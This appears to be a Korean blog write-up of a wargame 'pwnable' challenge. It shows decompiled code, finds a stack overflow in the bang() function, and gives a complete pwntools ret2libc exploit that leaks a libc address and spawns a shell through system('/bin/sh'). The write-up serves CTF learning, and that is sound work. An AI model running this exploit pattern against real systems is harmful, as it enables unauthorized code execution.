728x90
checksec
64bit
Pseudo Code
int __cdecl main(int argc, const char **argv, const char **envp)
{
puts("This is my FIRST PWNABLE!!");
return load(10);
}
ssize_t __fastcall load(int a1)
{
unsigned int v2; // [rsp+Ch] [rbp-14h]
int v3; // [rsp+1Ch] [rbp-4h]
v2 = a1;
puts("How Many Bullets do you have?");
scanf("%d", &v3);
if ( a1 > v3 )
v2 = v3;
printf("You have %dbullets\n", v2);
return bang();
}
ssize_t bang()
{
char buf; // [rsp+0h] [rbp-10h]
puts("Who is your Target?");
return read(0, &buf, 0x64uLL);
}
Who is your Target? 까지 나온 후 overflow시킬 수 있다 >> bang() 함수의 read함수를 사용함으로 발생하는 overflow 취약성 확인buf 변수에 0x10 + 8(SFP) 를 채워 return address를 덮어쓸 수 있다.
Exploit
첫 번째 payload 에서 main함수를 마지막에 붙여 ROP chain을 만들고 나면 바로 bang()함수까지 이어져 버린다. 따라서 첫 번째 payload 보내기전에는 load()함수의 scanf에 대한 값을 입력해줬다면 두 번째 payload를 보낼 때는 이는 전달하지 않고 바로 payload값(system(binsh))을 보내줘야한다.
from pwn import *
from struct import *
#context.log_level = 'debug'
p = process("./first")
elf = ELF("./first")
libc = elf.libc
puts_plt = elf.plt['puts']
read_got = elf.got['read']
binsh_off = 0x18ce17
#main = elf.symbols['main']
#main = 0x4005f6
bang = elf.symbols['bang']
#gadgets
pop_rdi = 0x400713
sys_off = 0x453a0
read_off = 0xf7310
pl = "A"*(0x10 + 8)
pl += p64(pop_rdi)
pl += p64(read_got)
pl += p64(puts_plt)
pl += p64(bang)
p.sendlineafter("have?\n",p64(1))
#gdb.attach(p)
p.sendafter("Target?\n",pl)
read_add = u64(p.recvuntil("\x7f")[-6:].ljust(8, '\x00'))
libc_base = read_add - read_off
system = libc_base + sys_off
binsh = libc_base + binsh_off
log.info("libc base: "+hex(libc_base))
pl = "A"*(0x10 + 8)
pl += p64(pop_rdi)
pl += p64(binsh)
pl += p64(system)
#p.sendlineafter("have?\n",p64(1))
sleep(0.1)
p.sendafter("Target?\n", pl)
p.interactive()
SMALL
'System > PWNABLE' 카테고리의 다른 글
[Dreamhack] house_of_force (0) | 2020.11.08 |
---|---|
[HackCTF] uaf (0) | 2020.09.20 |
[HackCTF] RTC (0) | 2020.08.23 |
baby1 (0) | 2020.08.23 |
[HackCTF] SysROP (0) | 2020.08.07 |